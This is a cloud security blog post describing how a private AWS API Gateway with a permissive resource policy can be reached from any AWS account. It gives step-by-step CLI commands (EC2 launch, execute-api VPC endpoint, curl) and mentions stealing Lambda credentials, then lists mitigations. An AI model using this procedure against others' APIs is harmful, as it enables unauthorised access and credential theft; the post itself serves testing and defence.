OffensAI Logo

Invoking Misconfigured API Gateways from Any External AWS Accounts

Did you know a misconfigured private API Gateway can be invoked from any AWS account?

Eduard Agavriloae
Eduard Agavriloae - Director of Cloud R&D
Invoking Misconfigured API Gateways from Any External AWS Accounts

Rest private API Gateways are not private in the sense that they can't be invoked from outside your AWS account. They are private in the sense that they can't be invoked outside the AWS network.

Guess who has access to the AWS network? Yes, we all do.

While this is not a novel technique, it is not that popular even if it should be. It has a low exploitation chance, but possibly a high impact. Let me explain.

Introduction

Credits

I learned about this attack while completing the PentesterAcademy AWS Cloud Security Bootcamp. I did the training in 2022 and it put solid foundations to my AWS offensive security career. I can't recommend enough this bootcamp, it's very well done. Now, I'm not sure if the instructor back then was the same as the current one, but I believe it is. His name is Jeswin Mathai.

After learning the Private API Gateway attack, I included it in my workshops and presentation because I encountered in practice more than once and it was really fun exploiting it.

About API Gateways

API Gateway is a service in AWS that allows you to process request from external sources, pass it to internal AWS resources and provide a response back to the original client. Very powerful and quite complex service.

It supports 4 types of APIs:

  • HTTP API
  • WebSocket API
  • REST API
  • Private REST API

Most times you will encounter REST APIs and Private REST APIs. The difference being that, well, one is private and the other is exposed to the internet.

REST API and Private REST API options
REST API and Private REST API options

Focusing on the Private REST API, you can have simple things like implementing a mockup endpoint that will return a static string just like below:

Private API Gateway Mockup Implementation
Private API Gateway Mockup Implementation

But just as well you can take the request, pass it to a Lambda Function for processing and return the response from the function to the client (very common scenario):

Private API Gateway Lambda Function Implementation
Private API Gateway Lambda Function Implementation

Invoking an API Gateway

How can you invoke it? You'll notice the AWS CLI doesn't have an option for that.

Invoking an API Gateway
Invoking an API Gateway

Well, it's quite simple actually. You have to do it via HTTP requests. There is one problem however, the private API is not accessible from the internet. But from where? In most cases it will be from your own VPCs. So, as long as you are from within your VPCs, your HTTP requests should reach the Private API Gateway. You can control from what VPCs or IPs the API can be invoked through its resource-based policy. And we arrived at the source of the issue.

The Misconfiguration

I've noticed that Private API Gateways usually are meant to be invoked from other AWS accounts or VPCs that are in the control of the organization. Engineers rely on a quick fix that is making their private API public with the next resource-based policy:

Misconfigured Resource-based policy for an API Gateway
Misconfigured Resource-based policy for an API Gateway

This allows anyone to invoke the API, but because the API is "private", it allows anyone within an AWS VPC to invoke it (which is anyone with an AWS account).

Exploitation

The biggest caveat is that the API definition should be known. This can be obtained through a form of initial access of information disclosure. The URL structure is similar to this:

https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint

  • The API ID is unique and unguessable, the $stage and $endpoint are arbitrary and then you also need to know what parameters to send
  • Not possible to find from a full black box scenario

But let's say the API definition is disclosed. How can someone exploit this? The attacker (from an external AWS account) has to create an Interface VPC Endpoint in the same region as the API Gateway for com.amazonaws.$region.execute-api, with Private DNS enabled.

Next, the attacker has to create an EC2 instance in the same region as the target API. Now HTTP requests to AWS private API Gateways are routed and resolved through the VPC Endpoint.

High-level diagram for exploitation
High-level diagram for exploitation

How bad can it be? I've encountered Private API Gateways that had endpoints for invoking Lambda Functions, doing CRUD (Create, Read, Update, Delete) operations on S3 buckets and objects along with a few other things. I knew from a Cloud Security Configuration Review the API's definition, so I was able to do a nice PoC to highlight the issue, but otherwise I would have not discovered the misconfigured API in a timely manner.

Exploitation seen in practice
Exploitation seen in practice

The next commands can be used to perform the attack from the CLI:

# Example API Gateway details
api_id=example123
region=eu-central-1
stage=prod
endpoint=fetch
 
# Try to access the API gateway from your host/VM
# It should not work
curl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint
nslookup $api_id.execute-api.$region.amazonaws.com
 
# We'll start an EC2 instance and perform the # request from there
# The instance must be in the same region as the target API
# Create a security group that allows all inbound traffic if
# you don't already have one and use it here
# The AMI is for the latest Amazon Linux image at the moment of writing this article
# Save the instance ID for later
aws --region $region ec2 run-instances --security-group-ids sg-example1234567 --instance-type t2.micro --image-id ami-0b5673b5f6e8f7fa7
 
# Check if you have VPC endpoint com.amazonaws.$region.execute-api
aws --region $region ec2 describe-vpc-endpoints
 
# Skip this if the VPC endpoint already exist
# Create the VPC Endpoint
# Should take around 1-2 minutes to be available
# Run either 'aws ec2 describe-instances' or
# 'aws ec2 describe-vpcs' or 'aws-describe-subnets' in order
# to get the information about the VPC id along with the subnet ids
# You have to use the same VPC as the one of the previous EC2
# Create a security group that allows all inbound traffic if
# you don't already have one and use it here
aws ec2 create-vpc-endpoint \
    --vpc-id vpc-example1234567 \
    --vpc-endpoint-type Interface \
    --service-name com.amazonaws.$region.execute-api \
    --subnet-ids subnet-example1234567 subnet-example1234567 subnet-example1234567 \
    --security-group-ids sg-example1234567 \
    --private-dns-enabled
 
# Connect to the instance
aws ec2-instance-connect ssh --os-user root --instance-id $instance_id

On the EC2 instance:

# Now we should be able to resolve and invoke the private API Gateway
# Check DNS resolution
nslookup $api_id.execute-api.$region.amazonaws.com
 
# Invoke the API
curl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint

Expected Results

First, the domain of the Private API Gateway will be resolved.

DNS is resolved from EC2 instance
DNS is resolved from EC2 instance

Second, let's assume that this Private API Gateway takes an URL as input, passes it to a Lambda Function, the Lambda Function gets the content from that URL and the output is returned to the client. Well, then we might encounter something like this:

Exfiltrating access credentials from Lambda Function through the API's endpoint
Exfiltrating access credentials from Lambda Function through the API's endpoint

impact

Attackers can leverage the access configured for the Private API Gateway to access internal resources, perform write operations and launch further attacks against the resources behind the API Gateway. In cases where those resources are vulnerable, like a Lambda Function with a file inclusion vulnerability, attackers can even exfiltrate access credentials and get start going after privilege escalation.

Mitigations

The main mitigation is to properly configure the resource-based policy of your Private API Gateway. The most important thing is to make sure you are not allowing any VPC to invoke your API. Here's a secure example that only allows access from specific VPCs and AWS accounts:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "arn:aws:iam::111122223333:root",
                    "arn:aws:iam::444455556666:root"
                ]
            },
            "Action": "execute-api:Invoke",
            "Resource": "arn:aws:execute-api:region:account-id:api-id/*",
            "Condition": {
                "StringEquals": {
                    "aws:SourceVpc": ["vpc-12345678", "vpc-87654321"]
                }
            }
        }
    ]
}

More examples can be found on the official AWS documentation: API Gateway resource policy examples

Additional mitigations:

  • Use VPC endpoint policies to restrict which APIs can be accessed
  • Use API Authentication even for Private APIs
  • Monitor API Gateway access logs for suspicious patterns

Conclusions

Private API Gateways are not inherently secure just because they're "private". A misconfigured resource-based policy can expose them to any AWS account worldwide. Always:

  • Review resource-based policies
  • Limit access to specific VPCs and AWS accounts
  • Never use overly permissive policies like "Principal": "*" without strong conditions
  • Treat Private API Gateways with the same security considerations as public ones
  • Stay up to date to hacking techniques that can breach your cloud environment

References

Embrace Autonomous Cloud Red Teaming

Proactively discover and remediate cloud attacks present in your infrastructure. Ready to get started?